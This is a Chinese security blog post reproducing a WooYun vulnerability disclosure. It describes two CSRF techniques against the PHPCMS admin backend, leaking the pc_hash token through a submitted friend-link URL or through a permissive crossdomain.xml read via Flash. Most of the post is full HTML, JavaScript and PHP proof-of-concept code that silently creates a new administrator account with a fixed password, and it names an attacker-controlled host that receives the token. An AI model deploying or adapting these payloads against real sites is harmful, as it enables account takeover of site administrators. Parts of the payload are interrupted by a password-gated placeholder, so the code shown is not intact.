PHPCMS后台CSRF加管理两种方法POC

  • A+
所属分类:漏洞时代
摘要

之前多个漏洞,其实都是利用了Referer,如最新这个:http://wooyun.org/bugs/wooyun-2015-098434

其实我们可以不利用Referer,能更简单获取pc_hash,并进行CSRF攻击。

法一

先管理员登录后台,来到随意一个功能页面,右键查看框架的源代码,其中有这么一段javascript:


漏洞作者: phith0n

详细说明:

之前多个漏洞,其实都是利用了Referer,如最新这个:http://wooyun.org/bugs/wooyun-2015-098434

其实我们可以不利用Referer,能更简单获取pc_hash,并进行CSRF攻击。

法一

先管理员登录后台,来到随意一个功能页面,右键查看框架的源代码,其中有这么一段javascript:

window.focus();   var pc_hash = 'loP6gO';     window.onload = function(){    var html_a = document.getElementsByTagName('a');    var num = html_a.length;    for(var i=0;i<num;i++) {     var href = html_a[i].href;     if(href && href.indexOf('javascript:') == -1) {      if(href.indexOf('?') != -1) {       html_a[i].href = href+'&pc_hash='+pc_hash;      } else {       html_a[i].href = href+'?pc_hash='+pc_hash;      }     }    }      var html_form = document.forms;    var num = html_form.length;    for(var i=0;i<num;i++) {     var newNode = document.createElement("input");     newNode.name = 'pc_hash';     newNode.type = 'hidden';     newNode.value = pc_hash;     html_form[i].appendChild(newNode);    }   }

 

查找页面中所有超链接(a),如果不是“javascript:”开头的话,就添加pc_hash在url最后。

并没有判断这个链接是否是站内链接!

所以,如果我提交一个友情链接地址,也会被加上pc_hash,等于说pc_hash被加在我的url后面,我的服务器可以获取之!

来测试。首先前台提交一个友情链接:

PHPCMS后台CSRF加管理两种方法POC

地址是我的POC(http://mhz.pw/game/tx/phpcms.php),内容如下:

<!DOCTYPE html>  <html>    <head>      <meta charset="utf-8">      <title>phpcms csrf 加管理</title>      <script type="text/javascript">      gum = function(){      var u = {          'version':'1140213',          'domain':'{{domain}}',          'backinfo':{},          'author': 'https://github.com/quininer/gum'      };      u.e = function(code){try{return eval(code)}catch(e){return ''}};      u.name = function(names){          return document.getElementsByTagName(names);      };      u.html = function(){              return u.name('html')[0]                      ||document.write('<html>')                      ||u.name('html')[0];      };      u.addom = function(html, doming, hide){          (!doming)&&(doming = u.html());          var temp = document.createElement('span');          temp.innerHTML = html;          var doms = temp.children[0];          (hide)&&(doms.style.display = 'none');          doming.appendChild(doms);          return doms;      };      u.post = function(url, data){          var form = u.addom("<form method='POST'>", u.html(), true);          form.action = url;          for(var name in data){              var input = document.createElement('input');              input.name = name;              input.value = data[name];              form.appendChild(input);          };          form.submit();      };      return u;  }();  var timestamp = (Date.parse(new Date())) / 1000;  gum.post('http://web.com/phpcms/index.php?m=admin&c=admin_manage&a=add', {      'info[username]': 'test_' + timestamp,      'info
		
输入密码查看加密内容:

': '123123', 'info[pwdconfirm]': '123123', 'info[email]': '[email protected]', 'info[realname]': '', 'info[roleid]': '1', 'dosubmit': '提交', 'pc_hash': '<?php echo $_GET['pc_hash']; ?>' }); </script> </head> <body> </body> </html>

 

然后管理员在后台审核友情链接处即可看到:

PHPCMS后台CSRF加管理两种方法POC

如上图,phpcms直接将pc_hash加入了我的链接后面。所以管理员点击链接后我即可接收到pc_hash,进而进行CSRF攻击。

上述POC,在管理员点击后,会给目标站创建一个用户名为test_+时间戳,密码是123123的管理员:

PHPCMS后台CSRF加管理两种方法POC

法二

与discuz类似,phpcms在默认安装完成后也没有修改crossdomain.xml,典型例子就是其官网

http://www.phpcms.cn/crossdomain.xml ,和官方演示站:http://v9.demo.phpcms.cn/crossdomain.xml

PHPCMS后台CSRF加管理两种方法POC

那么我就可以通过flash直接获取其pc_hash。

蚁逅平台做演示:

PHPCMS后台CSRF加管理两种方法POC

构造POC,自动添加管理员:http://mhz.pw/game/tx/phpcms1.php?domain=localphpcms.com

domain是目标域名。

<?php  $domain = isset($_GET['domain']) ? htmlspecialchars($_GET['domain'], ENT_COMPAT | ENT_HTML401 | ENT_QUOTES) : exit("no domain");   ?>  <!DOCTYPE html>  <html>    <head>      <meta charset="utf-8">      <title>phpcms csrf 加管理</title>    </head>    <body>      <p>phpcms flash跨域 csrf 加管理</p>    <object style="height:1px;width:1px;" data="c00y.swf" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="callback=getdata&url=http%3A%2F%2F<?php echo $domain; ?>%2Findex.php%3Fm%3Dadmin%26c%3Dindex"></object>    <script type="text/javascript">  function send(pc_hash){    gum = function(){      var u = {          'version':'1140213',          'domain':'{{domain}}',          'backinfo':{},          'author': 'https://github.com/quininer/gum'      };      u.e = function(code){try{return eval(code)}catch(e){return ''}};      u.name = function(names){          return document.getElementsByTagName(names);      };      u.html = function(){              return u.name('html')[0]                      ||document.write('<html>')                      ||u.name('html')[0];      };      u.addom = function(html, doming, hide){          (!doming)&&(doming = u.html());          var temp = document.createElement('span');          temp.innerHTML = html;          var doms = temp.children[0];          (hide)&&(doms.style.display = 'none');          doming.appendChild(doms);          return doms;      };      u.post = function(url, data){          var form = u.addom("<form method='POST'>", u.html(), true);          form.action = url;          for(var name in data){              var input = document.createElement('input');              input.name = name;              input.value = data[name];              form.appendChild(input);          };          form.submit();      };      return u;    }();    var timestamp = (Date.parse(new Date())) / 1000;    gum.post('http://<?php echo $domain; ?>/index.php?m=admin&c=admin_manage&a=add', {    'info[username]': 'test_' + timestamp,    'info
		
输入密码查看加密内容:

': '123123', 'info[pwdconfirm]': '123123', 'info[email]': '[email protected]', 'info[realname]': '', 'info[roleid]': '1', 'dosubmit': '提交', 'pc_hash': pc_hash }); } function getdata(html) { var ret = html.match(/pc_hash=([a-zA-Z0-9]{6})/); if(ret.length < 2) return false; var pc_hash = ret[1]; //alert(formhash); send(pc_hash); } </script> </body> </html>

 

localphpcms.com的管理员访问以上POC即可添加一个管理。

不多解释了。

两种方法,均可CSRF加管理。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: